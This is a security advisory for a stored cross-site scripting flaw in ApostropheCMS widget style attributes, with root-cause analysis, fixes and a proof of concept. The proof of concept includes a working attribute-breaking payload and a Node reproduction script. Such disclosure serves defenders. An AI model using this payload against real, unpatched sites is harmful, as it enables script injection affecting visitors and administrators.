---
id: CVE-2026-112958
aliases:
  - GHSA-7jg5-frgc-c67w
title: 'ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization'
summary: 'ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization'
severity: medium
cvss: 5.4
cwe:
  - CWE-79
vendor: apostrophe
product: apostrophe
ecosystem: npm
affected:
  - apostrophe < 4.34.0
patched:
  - apostrophe 4.34.0
published: '2026-10-21'
updated: '2026-10-21'
sourceUpdated: '2026-10-21T17:15:08Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-7jg5-frgc-c67w'
references:
  - url: >-
      https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-7jg5-frgc-c67w
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-112958'
  - url: >-
      https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498
  - url: >-
      https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea
  - url: 'https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.34.0'
  - url: 'https://github.com/advisories/GHSA-7jg5-frgc-c67w'
tags:
  - ghsa
  - npm
  - cve.org
  - exploit-available
epss: 0.00304
epssPercentile: 0.23007
exploitAvailable: true
ssvc:
  exploitation: poc
  automatable: 'no'
  technicalImpact: partial
  timestamp: '2026-10-20T16:58:10.168593Z'
ingestedAt: '2026-10-20T17:12:53.595Z'
---

## Overview

## Summary

ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style="..."` attribute without HTML-attribute escaping.

An attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.

This is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a `<style>` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline `style` and `class` attributes.

## Details

### Root Cause 1: Free-form string style values retain HTML metacharacters

The standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context:

[`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333)

```javascript
self.addFieldType({
  name: 'string',
  // ...
  convert(req, field, data, destination) {
    destination[field.name] = self.apos.launder.string(data[field.name]);
    destination[field.name] = checkStringLength(
      destination[field.name],
      field.min,
      field.max
    );
  }
});
```

Quotes therefore remain in a value supplied through a style field.

### Root Cause 2: The value is converted into inline CSS without value validation

For a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:

[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228)

[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647)

```javascript
rule = `${property}: ${normalized.value}${normalized.unit}`;

// ...

if (isInline) {
  return {
    css: '',
    classes: [ ...storage.classes ],
    inline: stringifyRules(storage.styles, true)
  };
}
```

For example, the value below becomes part of a `font-family` declaration:

```text
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
```

### Root Cause 3: Attribute values are serialized without HTML escaping

`getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key="value"` without encoding `&`, `<`, `>`, `'`, or `"`:

[`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322)

```javascript
if (styleParts.length) {
  attrs.push(
    [ 'style', `${styleParts.join(';')};` ]
  );
}

if (options.asObject) {
  return Object.fromEntries(attrs);
}

return attrs
  .map(([ key, value ]) => `${key}="${value}"`)
  .join(' ');
```

The same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class="..."`. The inline-property path was the path dynamically verified.

### Root Cause 4: The unsafe string is used by the automatic public wrapper

Styled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget:

[`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457)

```javascript
if (hasStyles && self.options.stylesWrapper !== false) {
  const styles = self.apos.styles.prepareWidgetStyles(widget);
  const styleTag = self.apos.styles
    .getWidgetElements(styles, { scene: req.scene });
  const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);

  return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}
```

Consequently, the injected attribute is present on normal public page renders, not only in the editor UI.

### Why the CVE-2026-33889 defense does not prevent this variant

The sibling advisory led to a defense in `getWidgetElements()` that rewrites `</` before CSS is inserted into a `<style>` element:

```javascript
css = css.replaceAll('</', '<\\/');
```

This protects the style-element boundary. The vulnerable path above produces `inline` output instead of `css`, so it never reaches that replacement.

## Affected Configurations and Versions

The verified configuration has all of the following properties:

- A widget defines a style field with a free-form type such as `string`.
- The field uses `property` without a selector, causing inline-style rendering, or uses `class: true` with an unrestricted string value.
- The attacker has permission to edit a widget containing the field.
- The malicious content is published, or a higher-privileged user views the affected draft.

Standard range, select, and color presets do not directly provide an unrestricted quote-containing value and were not demonstrated as affected by this variant.

## Proof of Concept

### Step 1: Configure a widget with a free-form inline style

Add a style field similar to the following to a widget module:

```javascript
module.exports = {
  extend: '@apostrophecms/widget-type',
  options: {
    label: 'Style Attribute Test'
  },
  styles: {
    add: {
      customFont: {
        type: 'string',
        label: 'Custom Font',
        property: 'font-family'
      }
    }
  }
};
```

The absence of `selector` makes the generated declaration inline.

### Step 2: Store the payload

As a user who may edit this widget, enter the following value in `customFont` and save the widget:

```text
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
```

Publish the page, or have another user view the affected draft.

### Step 3: Reproduce the renderer output directly

The vulnerable data flow can also be reproduced using the real renderer and serializer from a checked-out, dependency-installed repository:

```javascript
const methodsFactory = require(
  './packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);

(async () => {
  const { renderScopedStyles } = await import(
    './packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
  );

  const payload =
    'serif" tabindex="0" autofocus ' +
    'onfocus="document.body.dataset.inline=\'executed\'';

  const styles = renderScopedStyles(
    [ {
      name: 'customFont',
      type: 'string',
      property: 'font-family'
    } ],
    { customFont: payload }
  );

  Object.assign(styles, {
    styleId: 'audit-inline',
    widgetId: 'widget-1'
  });

  const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
  console.log('inline:', styles.inline);
  console.log('attributes:', attrs);
})();
```

### Step 4: Observe the unsafe HTML

The current renderer produced:

```text
inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';
```

The serializer then produced an attribute string equivalent to:

```html
id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-style-classes=""
style="font-family: serif" tabindex="0" autofocus
onfocus="document.body.dataset.inline='executed';"
```

The attacker-controlled quote terminates the `style` attribute. `tabindex`, `autofocus`, and `onfocus` become separate live attributes.

### Step 5: Confirm execution in a browser

When the generated wrapper was loaded in Chrome 153, autofocus triggered the injected handler automatically. The DOM changed to:

```html
<body data-inline="executed">
  <div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div>
</body>
```

The safe behavior would be for the quote to appear as `&quot;` inside the `style` attribute, with no injected attributes and no change to `document.body.dataset`.

## Impact

- **Stored XSS on published pages:** JavaScript executes for unauthenticated visitors who load a page containing the affected widget.
- **Privilege escalation:** If an administrator or another privileged editor views the page or draft, the payload executes with that user's application-origin privileges and can perform authenticated actions available to the victim.
- **Persistent content manipulation:** The payload is stored with widget content and continues to execute until the style value is removed or the output path is fixed.
- **Phishing and data access:** The script can alter the rendered page, read non-HttpOnly same-origin data, and issue same-origin requests as the victim.

## Recommended Fix

### Fix 1: HTML-escape every string-returning attribute value

The string branch of `getWidgetAttributes()` should encode values for a double-quoted HTML attribute context before concatenation. At minimum, encode `&`, `<`, `>`, `"`, and `'` using a centralized Apostrophe HTML encoder.

Conceptually:

```javascript
if (options.asObject) {
  return Object.fromEntries(attrs);
}

return attrs
  .map(([ key, value ]) => {
    return `${key}="${escapeHtmlAttribute(String(value))}"`;
  })
  .join(' ');
```

The structured `asObject` branch should remain structured so that its eventual template/DOM renderer can perform context-appropriate encoding.

### Fix 2: Validate style values by their destination grammar

Output encoding is the primary fix. As defense in depth:

- Require select/range/color or another constrained type for common CSS properties.
- Parse and validate free-form CSS property values instead of treating them as arbitrary strings.
- For `class: true`, accept only individual valid class-name tokens rather than an unrestricted string.

## Affected packages

- `apostrophe < 4.34.0`

## Remediation

Upgrade to a patched release:

- `apostrophe 4.34.0`
